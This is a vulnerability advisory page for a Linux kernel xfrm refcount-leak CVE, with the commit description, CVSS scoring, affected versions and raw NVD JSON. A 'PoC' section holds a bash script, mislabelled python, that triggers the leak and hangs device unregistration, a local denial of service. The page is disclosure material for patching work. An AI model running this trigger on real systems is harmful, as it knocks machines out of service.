CVE-2026-43167

Description

In the Linux kernel, the following vulnerability has been resolved: xfrm: always flush state and policy upon NETDEV_UNREGISTER event syzbot is reporting that "struct xfrm_state" refcount is leaking. unregister_netdevice: waiting for netdevsim0 to become free. Usage count = 2 ref_tracker: netdev@ffff888052f24618 has 1/1 users at __netdev_tracker_alloc include/linux/netdevice.h:4400 [inline] netdev_tracker_alloc include/linux/netdevice.h:4412 [inline] xfrm_dev_state_add+0x3a5/0x1080 net/xfrm/xfrm_device.c:316 xfrm_state_construct net/xfrm/xfrm_user.c:986 [inline] xfrm_add_sa+0x34ff/0x5fa0 net/xfrm/xfrm_user.c:1022 xfrm_user_rcv_msg+0x58e/0xc00 net/xfrm/xfrm_user.c:3507 netlink_rcv_skb+0x158/0x420 net/netlink/af_netlink.c:2550 xfrm_netlink_rcv+0x71/0x90 net/xfrm/xfrm_user.c:3529 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x5aa/0x870 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x8c8/0xdd0 net/netlink/af_netlink.c:1894 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg net/socket.c:742 [inline] ____sys_sendmsg+0xa5d/0xc30 net/socket.c:2592 ___sys_sendmsg+0x134/0x1d0 net/socket.c:2646 __sys_sendmsg+0x16d/0x220 net/socket.c:2678 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f This is because commit d77e38e612a0 ("xfrm: Add an IPsec hardware offloading API") implemented xfrm_dev_unregister() as no-op despite xfrm_dev_state_add() from xfrm_state_construct() acquires a reference to "struct net_device". I guess that that commit expected that NETDEV_DOWN event is fired before NETDEV_UNREGISTER event fires, and also assumed that xfrm_dev_state_add() is called only if (dev->features & NETIF_F_HW_ESP) != 0. Sabrina Dubroca identified steps to reproduce the same symptoms as below. echo 0 > /sys/bus/netdevsim/new_device dev=$(ls -1 /sys/bus/netdevsim/devices/netdevsim0/net/) ip xfrm state add src 192.168.13.1 dst 192.168.13.2 proto esp \ spi 0x1000 mode tunnel aead 'rfc4106(gcm(aes))' $key 128 \ offload crypto dev $dev dir out ethtool -K $dev esp-hw-offload off echo 0 > /sys/bus/netdevsim/del_device Like these steps indicate, the NETIF_F_HW_ESP bit can be cleared after xfrm_dev_state_add() acquired a reference to "struct net_device". Also, xfrm_dev_state_add() does not check for the NETIF_F_HW_ESP bit when acquiring a reference to "struct net_device". Commit 03891f820c21 ("xfrm: handle NETDEV_UNREGISTER for xfrm device") re-introduced the NETDEV_UNREGISTER event to xfrm_dev_event(), but that commit for unknown reason chose to share xfrm_dev_down() between the NETDEV_DOWN event and the NETDEV_UNREGISTER event. I guess that that commit missed the behavior in the previous paragraph. Therefore, we need to re-introduce xfrm_dev_unregister() in order to release the reference to "struct net_device" by unconditionally flushing state and policy.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (包含 commit d77e38e612a0 之后版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-43167: Linux Kernel xfrm reference leak
# This script demonstrates the steps to trigger the refcount leak.

# 1. Create a netdevsim device
echo 0 > /sys/bus/netdevsim/new_device

# 2. Get the interface name
dev=$(ls -1 /sys/bus/netdevsim/devices/netdevsim0/net/)
echo "Target device: $dev"

# 3. Generate a dummy key for the xfrm state
key=0x$(echo -n "testkey12345678" | xxd -p -c 32)

# 4. Add xfrm state with hardware offload enabled
# This calls xfrm_dev_state_add() which increments the netdev refcount
ip xfrm state add src 192.168.13.1 dst 192.168.13.2 proto esp \
   spi 0x1000 mode tunnel aead 'rfc4106(gcm(aes))' $key 128 \
   offload crypto dev $dev dir out

# 5. Disable the esp-hw-offload feature on the device
# This changes the device state but does not release the refcount acquired in step 4
ethtool -K $dev esp-hw-offload off

# 6. Attempt to delete the device
# This triggers NETDEV_UNREGISTER. If vulnerable, the system will hang
# waiting for the refcount to drop to 0.
echo 0 > /sys/bus/netdevsim/del_device

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43167
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43167
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43167/
[4] VulDB https://vuldb.com/cve/CVE-2026-43167
[5] https://git.kernel.org/stable/c/166801e49a5b5fc127b8c9e2f110f303cfddfbc3
[6] https://git.kernel.org/stable/c/4efa91a28576054aae0e6dad9cba8fed8293aef8
[7] https://git.kernel.org/stable/c/59581778792cbaf8ad788f4a21dc663ce986050e
[8] https://git.kernel.org/stable/c/8c75c455ecd3bfd2f36abf66edb7021c4fa19ec4
[9] https://git.kernel.org/stable/c/a3c8fede034fa27892f87c863cbd5493167d17ed

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43167", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:34.913", "lastModified": "2026-05-13T14:50:02.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: always flush state and policy upon NETDEV_UNREGISTER event\n\nsyzbot is reporting that \"struct xfrm_state\" refcount is leaking.\n\n unregister_netdevice: waiting for netdevsim0 to become free. Usage count = 2\n ref_tracker: netdev@ffff888052f24618 has 1/1 users at\n __netdev_tracker_alloc include/linux/netdevice.h:4400 [inline]\n netdev_tracker_alloc include/linux/netdevice.h:4412 [inline]\n xfrm_dev_state_add+0x3a5/0x1080 net/xfrm/xfrm_device.c:316\n xfrm_state_construct net/xfrm/xfrm_user.c:986 [inline]\n xfrm_add_sa+0x34ff/0x5fa0 net/xfrm/xfrm_user.c:1022\n xfrm_user_rcv_msg+0x58e/0xc00 net/xfrm/xfrm_user.c:3507\n netlink_rcv_skb+0x158/0x420 net/netlink/af_netlink.c:2550\n xfrm_netlink_rcv+0x71/0x90 net/xfrm/xfrm_user.c:3529\n netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline]\n netlink_unicast+0x5aa/0x870 net/netlink/af_netlink.c:1344\n netlink_sendmsg+0x8c8/0xdd0 net/netlink/af_netlink.c:1894\n sock_sendmsg_nosec net/socket.c:727 [inline]\n __sock_sendmsg net/socket.c:742 [inline]\n ____sys_sendmsg+0xa5d/0xc30 net/socket.c:2592\n ___sys_sendmsg+0x134/0x1d0 net/socket.c:2646\n __sys_sendmsg+0x16d/0x220 net/socket.c:2678\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThis is because commit d77e38e612a0 (\"xfrm: Add an IPsec hardware\noffloading API\") implemented xfrm_dev_unregister() as no-op despite\nxfrm_dev_state_add() from xfrm_state_construct() acquires a reference\nto \"struct net_device\".\nI guess that that commit expected that NETDEV_DOWN event is fired before\nNETDEV_UNREGISTER event fires, and also assumed that xfrm_dev_state_add()\nis called only if (dev->features & NETIF_F_HW_ESP) != 0.\n\nSabrina Dubroca identified steps to reproduce the same symptoms as below.\n\n echo 0 > /sys/bus/netdevsim/new_device\n dev=$(ls -1 /sys/bus/netdevsim/devices/netdevsim0/net/)\n ip xfrm state add src 192.168.13.1 dst 192.168.13.2 proto esp \\\n spi 0x1000 mode tunnel aead 'rfc4106(gcm(aes))' $key 128 \\\n offload crypto dev $dev dir out\n ethtool -K $dev esp-hw-offload off\n echo 0 > /sys/bus/netdevsim/del_device\n\nLike these steps indicate, the NETIF_F_HW_ESP bit can be cleared after\nxfrm_dev_state_add() acquired a reference to \"struct net_device\".\nAlso, xfrm_dev_state_add() does not check for the NETIF_F_HW_ESP bit\nwhen acquiring a reference to \"struct net_device\".\n\nCommit 03891f820c21 (\"xfrm: handle NETDEV_UNREGISTER for xfrm device\")\nre-introduced the NETDEV_UNREGISTER event to xfrm_dev_event(), but that\ncommit for unknown reason chose to share xfrm_dev_down() between the\nNETDEV_DOWN event and the NETDEV_UNREGISTER event.\nI guess that that commit missed the behavior in the previous paragraph.\n\nTherefore, we need to re-introduce xfrm_dev_unregister() in order to\nrelease the reference to \"struct net_device\" by unconditionally flushing\nstate and policy."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndExcluding": "6.6.128", "matchCriteriaId": "E90AEF03-C864-4508-AA5A-71B005F9732D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux ... (truncated)